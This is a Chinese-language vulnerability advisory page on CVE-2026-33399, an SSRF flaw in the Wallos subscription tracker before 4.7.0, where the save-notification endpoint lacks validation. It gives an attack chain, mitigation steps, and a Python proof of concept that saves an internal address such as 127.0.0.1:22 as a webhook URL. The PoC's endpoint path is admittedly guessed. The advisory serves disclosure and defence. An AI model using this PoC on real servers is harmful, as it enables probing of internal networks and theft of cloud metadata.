IPBUF安全漏洞报告
English
CVE-2026-33399 CVSS 7.7 高危

CVE-2026-33399 Wallos服务端请求伪造漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33399
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Wallos

相关标签

SSRFWallosCVE-2026-33399Incomplete FixCron Job

漏洞概述

Wallos是一个开源的个人订阅跟踪工具。在4.7.0版本之前,针对CVE-2026-30839和CVE-2026-30840的SSRF修复不完整。虽然`validate_webhook_url_for_ssrf()`函数被添加到了测试通知端点,但遗漏了保存通知端点。经过身份认证的用户可以将内部或私有IP地址保存为通知URL。当定时任务`sendnotifications.php`执行时,会向该内部IP发送请求且未经过SSRF验证,导致服务端请求伪造漏洞。该问题已在4.7.0版本中修复。

技术细节

该漏洞的核心在于Wallos在修复历史SSRF漏洞时存在逻辑疏漏。虽然开发者在`test*`测试通知接口中引入了`validate_webhook_url_for_ssrf()`函数来拦截内网IP请求,但未在`save*`保存接口中同步实施该校验。攻击者需拥有合法的低权限账户,通过构造恶意请求将内部地址(如`http://127.0.0.1`或`http://169.254.169.254`)设置为Webhook回调地址。由于保存过程缺乏过滤,恶意地址被持久化。随后,当系统后台Cron任务执行`sendnotifications.php`时,会读取该配置并发起HTTP请求,导致服务器向内网发起未经授权的访问请求,从而实现SSRF攻击。

攻击链分析

STEP 1
1. 获取访问权限
攻击者注册或获取一个Wallos平台的低权限账户(满足PR:L要求)。
STEP 2
2. 构造恶意请求
攻击者修改通知设置,在Webhook URL字段中输入内网地址(如127.0.0.1或169.254.169.254)。
STEP 3
3. 利用漏洞保存配置
攻击者通过`save*`端点提交配置。由于该端点缺少SSRF验证,内网地址被成功保存到数据库。
STEP 4
4. 触发后台任务
当系统后台Cron定时任务执行`sendnotifications.php`脚本时,服务器读取配置并向内网地址发起HTTP请求,造成信息泄露或内网探测。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration # Replace with the actual target URL and a valid session cookie target_host = "http://vulnerable-wallos-instance.com" internal_ip = "http://127.0.0.1:22" # Target internal service (e.g., SSH, Admin Panel) session_cookie = "valid_user_session_id_here" # The vulnerable save endpoint (inferred from 'save*' endpoints description) save_url = f"{target_host}/save-notification-url" # Payload containing the internal IP address payload_data = { "url": internal_ip, "method": "POST", "event_type": "subscription_renewal" } # Headers with authentication headers = { "Cookie": f"PHPSESSID={session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } try: # Step 1: Send request to save the malicious internal URL # The 'save*' endpoint lacks the validate_webhook_url_for_ssrf() check response = requests.post(save_url, data=payload_data, headers=headers) if response.status_code == 200: print("[+] Success: Internal IP URL saved successfully.") print("[+] The server's cron job 'sendnotifications.php' will now send a request to the internal IP.") print(f"[+] Target: {internal_ip}") else: print(f"[-] Failed to save URL. Status Code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

Wallos < 4.7.0

防御指南

临时缓解措施
建议立即升级到4.7.0版本。如果无法立即升级,应暂时禁用Webhook通知功能,或者在服务器网络层面配置防火墙规则,阻断服务器向内网IP段(如127.0.0.0/8, 10.0.0.0/8等)发起的连接请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表